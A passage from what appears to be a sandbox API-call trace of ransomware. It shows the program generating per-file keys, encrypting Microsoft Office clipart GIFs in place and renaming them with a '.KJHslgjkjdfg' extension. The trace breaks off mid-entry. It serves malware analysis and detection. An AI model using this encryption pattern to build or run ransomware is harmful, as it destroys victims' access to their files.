1 [0181.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.204] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0181.206] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.206] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.207] GetProcessHeap () returned 0x990000 [0181.207] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.207] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.207] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.207] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.207] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.207] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.207] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.207] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.207] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.207] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.207] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.207] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.208] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x135b, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x135b, lpOverlapped=0x0) returned 1 [0181.208] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1360, dwBufLen=0x1360 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1360) returned 1 [0181.209] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.209] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1360, lpOverlapped=0x0) returned 1 [0181.209] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.209] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.209] SetEndOfFile (hFile=0x130) returned 1 [0181.212] GetProcessHeap () returned 0x990000 [0181.212] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.212] GetProcessHeap () returned 0x990000 [0181.212] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.212] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.kjhslgjkjdfg")) returned 1 [0181.215] CloseHandle (hObject=0x130) returned 1 [0181.216] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7cc700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad7cc700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0181.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.216] GetProcessHeap () returned 0x990000 [0181.216] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.216] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.217] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0181.219] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.219] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.219] GetProcessHeap () returned 0x990000 [0181.219] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.219] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.219] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.219] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.219] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.219] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.220] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.220] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.220] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.220] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.220] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x13a6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x13a6, lpOverlapped=0x0) returned 1 [0181.221] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13b0, dwBufLen=0x13b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13b0) returned 1 [0181.221] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.221] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x13b0, lpOverlapped=0x0) returned 1 [0181.221] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.221] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.221] SetEndOfFile (hFile=0x130) returned 1 [0181.224] GetProcessHeap () returned 0x990000 [0181.224] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.224] GetProcessHeap () returned 0x990000 [0181.224] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.224] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.kjhslgjkjdfg")) returned 1 [0181.227] CloseHandle (hObject=0x130) returned 1 [0181.227] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a69f700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a69f700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0181.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.228] GetProcessHeap () returned 0x990000 [0181.228] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.228] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.228] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.228] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0181.230] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.230] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.230] GetProcessHeap () returned 0x990000 [0181.230] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.230] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.231] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.231] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.231] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.231] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.231] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.231] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.231] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.231] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.231] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.231] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.231] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x47a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x47a, lpOverlapped=0x0) returned 1 [0181.231] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x480, dwBufLen=0x480 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x480) returned 1 [0181.231] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.232] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x480, lpOverlapped=0x0) returned 1 [0181.232] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.232] SetEndOfFile (hFile=0x130) returned 1 [0181.234] GetProcessHeap () returned 0x990000 [0181.234] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.234] GetProcessHeap () returned 0x990000 [0181.234] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.234] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.kjhslgjkjdfg")) returned 1 [0181.240] CloseHandle (hObject=0x130) returned 1 [0181.240] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a54300, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a54300, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0181.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.240] GetProcessHeap () returned 0x990000 [0181.240] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.240] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.241] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.241] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0181.243] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.243] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.243] GetProcessHeap () returned 0x990000 [0181.243] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.243] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.243] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.243] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.244] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.244] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.244] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.244] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.244] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.244] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.244] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.244] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.245] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1d9f, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1d9f, lpOverlapped=0x0) returned 1 [0181.245] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1da0, dwBufLen=0x1da0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1da0) returned 1 [0181.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.246] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1da0, lpOverlapped=0x0) returned 1 [0181.246] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.246] SetEndOfFile (hFile=0x130) returned 1 [0181.248] GetProcessHeap () returned 0x990000 [0181.248] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.248] GetProcessHeap () returned 0x990000 [0181.248] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.248] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.kjhslgjkjdfg")) returned 1 [0181.251] CloseHandle (hObject=0x130) returned 1 [0181.251] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e47e00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65e47e00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0181.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.253] GetProcessHeap () returned 0x990000 [0181.253] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.253] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.253] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.280] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.280] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.280] GetProcessHeap () returned 0x990000 [0181.280] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.281] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.281] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.281] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.281] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, 